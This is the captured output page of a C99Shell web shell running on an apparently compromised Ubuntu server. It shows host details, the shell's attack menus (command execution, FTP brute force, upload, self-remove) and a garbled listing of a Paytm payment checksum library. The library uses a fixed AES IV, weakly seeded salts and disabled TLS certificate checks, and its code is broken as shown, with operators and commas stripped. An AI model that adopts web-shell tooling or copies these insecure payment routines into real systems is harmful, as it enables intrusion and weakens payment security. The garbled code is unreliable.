!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/anandsiddharth/laravel-paytm-wallet/lib/   drwxrwxr-x
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     encdec_paytm.php (4.18 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
function encrypt_e_openssl($input$ky){
    
$iv "@@@@&&&&####$$$$";
    
$data openssl_encrypt $input "AES-128-CBC" $ky0$iv );
    return 
$data;
}

function 
decrypt_e_openssl($crypt$ky){
    
$iv "@@@@&&&&####$$$$";
    
$data openssl_decrypt $crypt "AES-128-CBC" $ky0$iv );
    return 
$data;
}

function 
generateSalt_e($length) {
    
$random "";
    
srand((double) microtime() * 1000000);

    
$data "AbcDE123IJKLMN67QRSTUVWXYZ";
    
$data .= "aBCdefghijklmn123opq45rs67tuv89wxyz";
    
$data .= "0FGH45OP89";

    for (
$i 0$i $length$i++) {
        
$random .= substr($data, (rand() % (strlen($data))), 1);
    }

    return 
$random;
}

function 
checkString_e($value) {
    
$myvalue ltrim($value);
    
$myvalue rtrim($myvalue);
    if (
in_array($myvalue, ['null''NULL'])) {
        
$myvalue '';
    }
    return 
$myvalue;
}

function 
getChecksumFromArray($arrayList$key$sort=1) {
    if (
$sort != 0) {
        
ksort($arrayList);
    }
    
$str getArray2Str($arrayList);
    
$salt generateSalt_e(4);
    
$finalString $str "|" $salt;
    
$hash hash("sha256"$finalString);
    
$hashString $hash $salt;
    
$checksum encrypt_e_openssl($hashString$key);

    return 
$checksum;
}
function 
getChecksumFromString($str$key) {

    
$salt generateSalt_e(4);
    
$finalString $str "|" $salt;
    
$hash hash("sha256"$finalString);
    
$hashString $hash $salt;
    
$checksum encrypt_e_openssl($hashString$key);
    return 
$checksum;
}

function 
verifychecksum_e($arrayList$key$checksumvalue) {
    
$arrayList removeCheckSumParam($arrayList);
    
ksort($arrayList);
    
$str getArray2Str($arrayList);
    
$paytm_hash decrypt_e_openssl($checksumvalue$key);
    
$salt substr($paytm_hash, -4);

    
$finalString $str "|" $salt;

    
$website_hash hash("sha256"$finalString);
    
$website_hash .= $salt;

    
$validFlag "FALSE";
    if (
$website_hash == $paytm_hash) {
        
$validFlag "TRUE";
    } else {
        
$validFlag "FALSE";
    }
    return 
$validFlag;
}

function 
verifychecksum_eFromStr($str$key$checksumvalue) {
    
$paytm_hash decrypt_e_openssl($checksumvalue$key);
    
$salt substr($paytm_hash, -4);

    
$finalString $str "|" $salt;

    
$website_hash hash("sha256"$finalString);
    
$website_hash .= $salt;

    
$validFlag "FALSE";
    if (
$website_hash == $paytm_hash) {
        
$validFlag "TRUE";
    } else {
        
$validFlag "FALSE";
    }
    return 
$validFlag;
}

function 
getArray2Str($arrayList) {
    
$paramStr "";
    
$flag 1;
    foreach (
$arrayList as $key => $value) {
        if (
$flag) {
            
$paramStr .= checkString_e($value);
            
$flag 0;
        } else {
            
$paramStr .= "|" checkString_e($value);
        }
    }
    return 
$paramStr;
}

function 
redirect2PG($paramList$key) {
    
$hashString getchecksumFromArray($paramList);
    
$checksum encrypt_e_openssl($hashString$key);
}

function 
removeCheckSumParam($arrayList) {
    if (isset(
$arrayList["CHECKSUMHASH"])) {
        unset(
$arrayList["CHECKSUMHASH"]);
    }
    return 
$arrayList;
}

function 
getTxnStatus($requestParamList) {
    return 
callAPI(PAYTM_STATUS_QUERY_URL$requestParamList);
}

function 
initiateTxnRefund($requestParamList) {
    
$CHECKSUM getChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY,0);
    
$requestParamList["CHECKSUM"] = $CHECKSUM;
    return 
callAPI(PAYTM_REFUND_URL$requestParamList);
}

function 
callAPI($apiURL$requestParamList) {
    
$jsonResponse "";
    
$responseParamList = array();
    
$JsonData =json_encode($requestParamList);
    
$postData 'JsonData='.urlencode($JsonData);
    
$ch curl_init($apiURL);
    
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");
    
curl_setopt($chCURLOPT_POSTFIELDS$postData);
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    
curl_setopt ($chCURLOPT_SSL_VERIFYHOST0);
    
curl_setopt ($chCURLOPT_SSL_VERIFYPEER0);
    
curl_setopt($chCURLOPT_HTTPHEADER, array(
            
'Content-Type: application/json',
            
'Content-Length: ' strlen($postData))
    );
    
$jsonResponse curl_exec($ch);
    
$responseParamList json_decode($jsonResponse,true);
    return 
$responseParamList;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--